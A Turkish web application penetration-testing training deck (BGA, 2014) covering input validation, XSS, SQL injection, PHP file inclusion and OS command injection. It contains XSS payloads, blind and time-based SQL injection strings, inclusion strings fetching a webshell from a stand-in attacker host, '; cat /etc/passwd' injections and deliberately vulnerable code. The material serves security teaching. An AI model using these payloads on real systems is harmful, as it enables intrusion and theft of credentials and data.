102
Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr Web Uygulama Pentest Eğitimi Konu: Girdi Denetimi @2014 Örnek Eğitim Notu [email protected]

Web Uygulama Pentest Eğitimi

Embed Size (px)

Citation preview

Page 1: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Web Uygulama Pentest EğitimiKonu: Girdi Denetimi

@2014

Örnek Eğitim Notu

[email protected]

Page 2: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Girdi Denetimi

• Uygulama kullanmadan önce bütün güvensiz verilerin doğru bir şekilde denetlenmesidir.

• Bir çok saldırı çeşidinin temelinde yetersiz girdi kontrolü vardır;

– Cross Site Scripting

– SQL Injection

– Remote / Local File Inclusion

– ...

Page 3: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

1. Normalizasyon (Canonicalization)

• Bir dizginin en basit, en temel haline çevrilmesidir.

• Örnek, aşağıdaki iki yol aynı dosyayı işaret etmektedir;

/../../etc/passwd

/etc/passwd

• Karmaşık ve kritik bir işlemdir.

Page 4: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Resultante Importante - URL Kodlama

/index.my?id=prm%2523

browser

v=getParam(“id”)print v; // prints prm%23

uygulama çatısı

v=URLDecode(v);print v; // prints prm#

kod

Page 5: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

2. Beyaz Liste Girdi Denetimi

• Sadece iyi karakter veya karakter dizgilerinin kabul edilmesidir.

• Güvenli ve tavsiye edilen girdi denetimidir.

• Örnekler;

– Kredi kartı girdi alanının geçerli kredi kartı numarası olup olmadığının kontrolü

– Eposta adresi girdi alanının geçerli eposta olup olmadığının kontrolü

Page 6: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

3. Kara Liste Girdi Denetimi

• Bilinen kötü karakter veya karakter dizgilerinin reddedilmesidir.

• Çok kullanılan ama güvensiz girdi denetimidir.

• Örnekler;

– <script> geçen girdilerin reddedilmesi

– or 1=1 -- geçen girdilerin reddedilmesi

Page 7: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

4. Temizleme İşlemi (Sanitize)

• Girdinin kabul edilebilir bir formata çevrilmesidir.

• Beyaz liste mantığı ile sanitize

– Örn: Telefon numarası içinde geçen sayı, olmayan karakterlerin silinmesi

• Kara liste mantığı ile sanitize

– Örn: Adres girdisinin içindeki bütün tek tırnak karakterlerinin silinmesi

Page 8: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

5. Encoding İşlemi

• Girdi içindeki özel karakterlerin başka bir formata değiştirilmesidir.

• Amaç, hedef yorumlayıcı için özel karakterlerin kodlama işlemi sonrası önemlerini yitirmiş olmalarıdır.

• Örnek;

– HTML kodlama

– URL kodlama

Page 9: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

6. Escape İşlemi

• Yorumlayıcıya gitmeden gerçekleştirilen karakter format değişikliğidir.

• Çoğu durumda kodlama ile aynı anlamdadır.

• Örnek;

– Oracle veritabanında çalışacak SQL sorgularında tek tırnak karakterlerinin iki tek tırnak ile değiştirilmesiyle, sorgu yapısının değiştirilmesi engellenebilir.

Page 10: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Çoğu Zafiyetin Kökeni

Kod Veri

Kapsam

Page 11: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Kod ve Verinin Karıştırılması

A = "select * from users where id = "

veri

kod

Page 12: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Kod ve Verinin Karıştırılması

A = "/opt/myapp/startcmd.sh --str "

veri

kod

Page 13: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Kod ve Verinin Karıştırılması

A = "Siparişinizin hazırlanma süresi ";eval(A);</script>

veri

kod

Page 14: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS Nedir?

Browser

Uygulama

Page 15: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Cross Site Scripting - XSS

• Html/dhtml/css veya javascript kodunun izinsiz olarak kurbanın tarayıcısında çalıştırılmasıdır.

• Üç genel XSS çeşidi mevcuttur;

– Reflected

– Stored

– DOM Based

Page 16: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Reflected XSS

Page 17: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Stored XSS - Senaryo

Page 18: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

DOM Based XSS - Senaryo

Page 19: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - MySpace Worm

Page 20: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - MySpace Worm

Page 21: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - MySpace Worm

Page 22: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - MySpace Worm

Page 23: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - Diğer Wormlar

• Orkut

• Justin.tv

• Yahoo! Mail

• Facebook

• Twitter

• Reddit

• Digg

• MySpace

• …

Page 24: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - Neden Olduğu Problemler

• Bilgi Hırsızlığı

– Oturum Korsanlığı

– Clipboard Veri Çalma, Tuş Yakalama, Ekran Çalma

• İçerik Değişikliği (Defacement)

• Geçmiş Tarama, Port Tarama

• Dahili IP Çalma, Web Spidering, XSS Botnet

• Açıklık Tarama, Worm

Page 25: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - İstatistikler

Page 26: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - Temel Test Tekniği - Analiz

1. XSS için denetlenecek parametre belirlenir

2. Bu parametreye abcde gibi basit bir değer verilerek istek yapılır

3. Cevap içerisinde abcde nerelerde geçiyor hesaplanır.

– HTML

– HTML Attribute

– Javascript

– URL

Page 27: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - Temel Test Tekniği - Test

1. Analiz sonucu parametre değeri olarak uygun payload gönderilir,

2. Cevabın içinde payload aranır,

3. Bulunduğunda sayfa içinde payload uygun kodlama işleminden geçirilmemiş ise XSS güvenlik zafiyetinden bahsedilir.

Page 28: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - Payload 1

<plaintext>

Page 29: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - Payload 1 - Örnek

1

2

Page 30: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - Payload 2

';prompt(String.fromCharCode(88,83,83))//\'; prompt(String.fromCharCode(88,83,83))//"; prompt(String.fromCharCode(88,83,83))//\"; prompt(String.fromCharCode(88,83,83))//--

></ScRIPT>">'><ScRIPT> prompt(String.fromCharCode(88,83,83))</ScRI

PT>

Page 31: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

XSS - Payload 3

'';!--"<abc>=&{()}

Page 32: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Raw Echo - Payload

1

2

Page 33: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

HTML Attribute - Payload

1

2

Page 34: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

HTML Attribute Interactive - Payload

1

2

Page 35: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Javascript Injection - Payload

1

2

Page 36: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

innerHTML ByPass - Payload

1

2

Page 37: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

CSS – Internet Explorer - Payload

1

2

Page 38: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

DOM Based XSS

Sunucuya giden parametre

Page 39: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

DOM Based XSS

Page 40: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

DOM Based XSS

Sunucuya giden parametre yok!

Page 41: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

DOM Based XSS

Sunucuya giden XSS String yok!

Page 42: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

SQL Injection Nedir?

• SQL Injection;

– Saldırganlar için en popüler,

– Geliştiriciler için en bilindik,

– İş sahipleri için en tehlikeli

• Hedef veritabanında uygulama yolu ile yetkisiz olarak sql sorgularının çalıştırılabilmesidir.

Page 43: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

SQL Injection - Senaryo

SELECT * FROM users WHERE id=$id;

SELECT * FROM users WHERE id=100

SELECT * FROM users WHERE id=100 OR 2>1

Dinamik bir SQL sorgusu

Normal bir değişken değeri

Anormal bir değişken değeri: SQL Enjeksiyonu

Page 44: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

SQL Injection

Page 45: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

SQL Injection

Page 46: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

SQL Injection

Page 47: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

SQL Injection ile 2012

Page 48: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

SQL Injection - İstatistikler

Page 49: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

SQL Injection - İstatistikler

Page 50: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

SQL Injection Çeşitleri

• Olma şeklinden

– Integer

– String

• Saldırı Perspektifinden

– Kör (Blind)

– Zaman Tabanlı

– Union

– Hata Tabanlı

– Out of Band

Page 51: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Integer SQL Injection - Test Teknikleri

/urundetay.aspx?id=5

Ürün DetayıLed TV

Orijinal Cevap

select * from products where id=5

Page 52: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Integer SQL Injection - Test Teknikleri

/urundetay.aspx?id=5’

HATA SAYFASI

select * from products where id=5’

Page 53: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Integer SQL Injection - Test Teknikleri

/urundetay.aspx?id=5 waitfor delay ‘00:00:05’ --

select * from products where id=5 waitfor delay ‘00:00:05’ --

Ürün DetayıLed TV

Orijinal Cevap 5 sn gecikmeli

Page 54: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Integer SQL Injection - Test Teknikleri

/urundetay.aspx?id=5

select * from products where id=5

Ürün DetayıLed TV

Orijinal Cevap

/urundetay.aspx?id=5 and 5=5

select * from products where id=5 and 5=5

HATA SAYFASI/urundetay.aspx?id=5 and 5=6

Ürün DetayıLed TV

Orijinal Cevap

select * from products where id=5 and 5=6

Page 55: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

String SQL Injection - Test Teknikleri

/goster.do?isim=muro

Kullanıcı DetayıMuro

Orijinal Cevap

select * from users where name=‘muro’

Page 56: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

String SQL Injection - Test Teknikleri

HATA SAYFASI

/goster.do?isim=muro’

select * from users where name=‘muro’’

Page 57: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

String SQL Injection - Test Teknikleri

Kullanıcı DetayıMuro

Orijinal Cevap 5 sn gecikmeli

/goster.do?isim=muro’ and SLEEP(5) %23

select * from users where name=‘muro’ and SLEEP(5) # ’

Page 58: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

String SQL Injection - Test Teknikleri

/goster.do?isim=muro

select * from users where name=‘muro’

Kullanıcı DetayıMuro

Orijinal Cevap

/goster.do?isim=muro’ and ‘5’=‘5

select * from users where name=‘muro’ and ‘5’=‘5’

HATA SAYFASI/goster.do?isim=muro’ and ‘5’=‘6

Kullanıcı DetayıMuro

Orijinal Cevap

select * from users where name=‘muro’ and ‘5’=‘6’

Page 59: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Blind SQL Injection Teori - MySQL

select version()

5.0.51b-community-nt

Veritabanı Versiyonu

select mid(version(), 7, 1)

b

Veritabanı Versiyonunun

Yedinci Karakteri

select ord(mid(version(), 7, 1))

98

VersiyonunYedinci Karakterinin

ASCII Değeri

Page 60: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Kör SQL Injection

/urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 63

Ürün DetayıLed TV

Orijinal Cevap

select * from products where id=5 and ord(mid(version(), 7, 1)) > 63

98

5.0.51b-community-nt

b

1 12763

Page 61: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Kör SQL Injection

/urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 95

Ürün DetayıLed TV

Orijinal Cevap

select * from products where id=5 and ord(mid(version(), 7, 1)) > 95

98

5.0.51b-community-nt

b

63 12795

Page 62: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Kör SQL Injection

/urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 111

select * from products where id=5 and ord(mid(version(), 7, 1)) > 111

98

5.0.51b-community-nt

b

HATA SAYFASI

95 127111

Page 63: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

MySQL Escape - \

Orijinal Escaped

NULL \0

" \"

% \%

' \'

\ \\

_ \_

Page 64: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

MySQL Escape - Hata

$user = "";if(isset($_GET['user']))

$user = $_GET['user'];

$userEsc = str_replace("'", "''", $user);$q = "SELECT * FROM users where u = '" . $userEsc . "'";

$result = mysql_query($q);

Page 65: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Code Injection

• Saldırganın hedef web uygulaması üzerine zararlı kod veya kod parçacığı eklemesidir.

• Büyük çoğunlukla PHP tabanlı uygulamalar da bulunsa da JEE/ASP.NET uygulamalarında da görmek mümkündür.

Page 66: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

PHP Include

• Karmaşık kodları daha iyi yönetebilmek için modülariteyi arttırmak amacı ile PHP çatısında, bir PHP dosyasına başka bir PHP dosyasının dahil edilmesi özelliği vardır.

• Bu işlem için aşağıdaki fonksiyonlar kullanılır

– include(dosya_ismi)

– require(dosya_ismi)

– include_once(dosya_ismi)

– require_once(dosya_ismi)

Page 67: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

PHP Include - Örnek

<html><body>

<?php include 'header.php'; ?><h1>Merhaba <?php echo $user ?>

Ana sayfaya Hoşgeldiniz...</h1>...

<?php$user = $_SESSION[‘user’];

?>

header.php

index.php

Page 68: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

PHP Include - Örnek

<html><body>

<?php $user = $_SESSION[‘user’];

?><h1>Merhaba <?php echo $user ?>

Ana sayfaya Hoşgeldiniz...</h1>...

index.php

header.php dosyası içeriğikopyalandı ve index.php dosyasınayapıştırıldı.

Page 69: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Code Injection - PHP

• PHP include/require fonksiyonlarına giden parametre değerleri saldırganlar tarafından değiştirilebilirse,

• Diğer sistem ve uygulama dosyaları da çalıştırılacak PHP dosyaları içine kopyalanıp, saldırgana cevap olarak dönebilir.

Page 70: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Code Injection - Senaryo

/index.php?lang=tr<?php$language = $_REQUEST[‘lang’];include($language.”.php”);…

?>

index.php

<?php…

?>

tr.php

sonuç

12

3

Page 71: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Code Injection - Saldırı - LFI

/index.php?lang=/etc/paswd%00<?php$language = $_REQUEST[‘lang’];include($language.”.php”);…

?>

index.php

root::guvenlikod::…

/etc/passwd

sonuç

12

3

Page 72: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Code Injection - Saldırı - RFI

/index.php?lang=http://www.saldirgan.com/webshell.txt?

<?php$language = $_REQUEST[‘lang’];include($language.”.php”);…

?>

index.php

sonuç

1

4

www.saldirgan.com

phpwebshell

2

3

Page 73: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Örnek Saldırı String’leri

RFI-Remote File Inclusion: Uzaktan kod çağırma/dosya dahil etme

LFI-Local File Inclusion: Server içinden kod çağırma/dosya dahil etme

?id=http://saldirgan.com/myshell.txt%00

?id=http://saldirgan.com/myshell.txt?

?id=../../../uploads/myshell.txt

?id=../../../uploads/myshell.txt%0077

Page 74: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Diğer Denetim Teknikleri

78

?file=.htaccess

content.php?file=content.php

?file=../../../../../var/log/apache/error.log%00

?file=[http|https|ftp]://saldirgan_sunucu/shell.txt%00

?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

?file=http://127.0.0.1/yol/xss.php?param=phpkodu

Page 75: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Fimap ile Otomatik RFI/LFI

• PHP uygulamalarında otomatik RFI ve LFI bulmak için Python ile yazılmış bir araçtır.

• http://code.google.com/p/fimap/

• >= Python 2.4

• Versiyon alpha_09

Page 76: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Fimap - Örnek

python fimap.py-u http://sunucu/index.php?pg=-x

python >=2.4gereksinimi

Parametreler ile beraber denetlenecek URL

Başarılı saldırı sonrası interaktif bir oturum açılması

Page 77: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

Fimap - Reverse Shell

1

2

4

3

5

Page 78: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding

• Uygulamalar geliştirilirken işletim sistemi komutları çalıştırma ihtiyacı olabilir.

– Örn: Popüler komut satırı Unix/Linux/Windows uygulamalarına web arayüzü yazılması;

• iptables, asterisk, qmail, v.b.

• Yetersiz girdi kontrolü nedeniyle saldırganın hedef web uygulamasını kullanarak işletim sisteminde komutlar çalıştırması OS Commanding olarak adlandırılır.

Page 79: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Ön Bilgi

KULLANICI

KOMUT SATIRI

İŞLETİM SİSTEMİ

DONANIM

Page 80: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Unix - Ön Bilgi

ls -al

Page 81: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Windows - Ön Bilgi

dir .

Page 82: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Unix - Ön Bilgi

grep com myfile.txt

Page 83: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Unix - Ön Bilgi

ping www.guvenlikod.com

Page 84: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Unix -|

ls -al | ping www.guvenlikod.com

Page 85: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Windows -|

dir C:\ | ping www.guvenlikod.com

Page 86: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Unix - ;

ls -al ; ping www.guvenlikod.com

Page 87: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Windows - &

dir . & ping www.guvenlikod.com

Page 88: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Unix - ||

ls -al || ping www.guvenlikod.com

1

2

Page 89: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Windows - ||

dir . || ping www.guvenlikod.com

1

2

Page 90: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Unix - &

ls -al & ping www.guvenlikod.com

Page 91: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Unix - &&

ls -al && ping www.guvenlikod.com

Page 92: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Windows - &&

dir . && ping www.guvenlikod.com

1

2

Page 93: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Tanım

• Uygulamalar geliştirilirken işletim sistemi komutları çalıştırma ihtiyacı olabilir.

– Örn: Popüler komut satırı Unix/Linux/Windows uygulamalarına web arayüzü yazılması;

• iptables, asterisk, qmail, v.b.

• Yetersiz girdi kontrolü nedeniyle saldırganın hedef web uygulamasını kullanarak işletim sisteminde komutlar çalıştırması OS Commanding olarak adlandırılır.

Page 94: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Senaryo

1. Komut 2. Komut

3. Cevap4. Sayfa + Cevap UYG

ULA

MA

Page 95: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Xerox WorkCentre

Page 96: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

function=HTTP_IP_Restriction_Update&Protocol=tcp&Action=ACCEPT&Chain=INPUT&Interface=eth0&SourceIP=1.2.3.4&Dport=80&SrcPort=443

OS Commanding - Xerox WorkCentre

iptables -A -p -i -s -j

tcp INPUTeth0 1.2.3.4

ACCEPT

Page 97: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

www.webguvenligi.org

function=HTTP_IP_Restriction_Update&Protocol=tcp&Action=ACCEPT | www.webguvenligi.org&Chain=INPUT&Interface=eth0&SourceIP=1.2.3.4&Dport=80&SrcPort=443

OS Commanding - Xerox WorkCentre

iptables -A -p -i -s -j

tcp ACCEPT | ping

Page 98: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding

public string executeCommand(String hostName) {

try {String host = hostName;Runtime rt = Runtime.getRuntime();rt.exec("cmd.exe /C nslookup " + host);

}

catch(Exception e){e.printStackTrace();

}}

Page 99: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - İstatistikler

Page 100: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

OS Commanding - Test Teknikleri

?id=/bin/ls|

?id=; cat /etc/passwd

?id=; cat /../etc/X11/../passwd

Page 101: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

